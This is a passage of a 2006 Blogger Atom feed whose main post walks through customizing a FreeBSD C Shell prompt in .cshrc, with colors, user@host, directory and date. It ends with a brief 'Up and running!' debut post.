style="font-family:times new roman;"&gt;This posting is to track my progress with customizing my shell prompt.  From time to time I like to delve into some aspect of my computer and do as much with it as I can.  My favorite OS is FreeBSD, and as such I find myself using the C Shell quite often.  I also spend a lot of time in the command line.  This being said, I have had the need to know a little about my environment while I work.  Prompted by a very lavish and colorful BASH prompt from a friend of mine, I set out to customize my C Shell to fit my personal needs.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;I started by figuring out what information I wanted in my prompt.  The list looked something like this:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;1-current user and host&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;2-date&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;3-time&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;4-current directory&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;On top of this, based on my friends prompt, I wanted this information above my cursor so as not to waste space for long directories.  I have seen prompts like this on many flavors of Linux, however FreeBSD does not come like this by default.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;My first attempt looked something like this:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;%vi .cshrc&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;....&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;set prompt = '%n@%m:%/%# '&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;....&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;which looked something like this:   eon@ZETA:/home/eon&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Next I added a Grey color to my prompt:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;eon@Zeta:/home/eon&gt;vi .cshrc&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;....&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;set prompt = '%{\033[37m%}%n@%m:%/%# '&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;....&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Next I applied these changes to my root account, making the prompt red.  Note: This line must be added to the end of the .cshrc script.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;set prompt = '%{\033[31m%}%n@%m:%/%# '&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Making my regular user Grey and my root account red is an easy way to determine what user I am.  On many occasions I have been on my BSD laptop and sshed into my home box and issued a "init 0" command to shut my Laptop down inadvertently bringing down my server at home.  Smart ay!  This way I make my root user on my home box red so I know when I am sshed in as opposed to local. :)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Next I set out to complete my prompt.  To make a log posting short, this is what I ended up with in my ".cshrc" script:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;set prompt = '\n%{\033[37m%}%n@%m:%/\t[%D-%w-%y %t]\n%# '&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;This adds a new line to separate the previous output, color, user@host, current directory,  and tabs to a Day-Month-Year Time output, and newlines to the prompt.  It looks something like this:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;eon@ZETA:/home/eon    [30-Jun-06 10:42pm]                                  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;or as root:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;root@ZETA:/root    [30-Jun-06 10:43pm]                                  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;#&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;This currently fulfills my needs.  Any new additions/updates will be posted here.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30311304-115172355949445145?l=zetarace.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zetarace.blogspot.com/feeds/115172355949445145/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30311304&amp;postID=115172355949445145' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/115172355949445145'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/115172355949445145'/><link rel='alternate' type='text/html' href='http://zetarace.blogspot.com/2006/06/freebsd-customized-shell-prompt.html' title='FreeBSD Customized Shell Prompt'/><author><name>e0n</name><uri>http://www.blogger.com/profile/08642718678831767828</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp3.blogger.com/_QwzalobDZ4c/Rk5h0RmaUDI/AAAAAAAAABU/EyOZ6aySo0s/s320/airsia.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30311304.post-115137206836711725</id><published>2006-06-26T18:15:00.000-07:00</published><updated>2006-06-26T18:34:28.376-07:00</updated><title type='text'>Up and running!</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/280/3249/1600/126742076_d57f47954a_1.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://photos1.blogger.com/blogger/280/3249/320/126742076_d57f47954a_1.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;This is the debut of my blog on blogger.com.  I will use this as a forum to post and publish my works and thoughts.  Enjoy!&lt;br /&gt;&lt;br /&gt;&lt;---btw... Me at the step pyramid at Sakkara&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30311304-115137206836711725?l=zetarace.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zetarace.blogspot.com/feeds/115137206836711725/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30311304&amp;postID=115137206836711725' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/115137206836711725'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/115137206836711725'/><link rel='alternate' type='text/html' href='http://zetarace.blogspot.com/2006/06/up-and-running.html' title='Up and running!'/><author><name>e0n</name><uri>http://www.blogger.com/profile/08642718678831767828</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp3.blogger.com/_QwzalobDZ4c/Rk5h0RmaUDI/AAAAAAAAABU/EyOZ6aySo0s/s320/airsia.jpg'/></author><thr:total>0</thr:total></entry></feed>
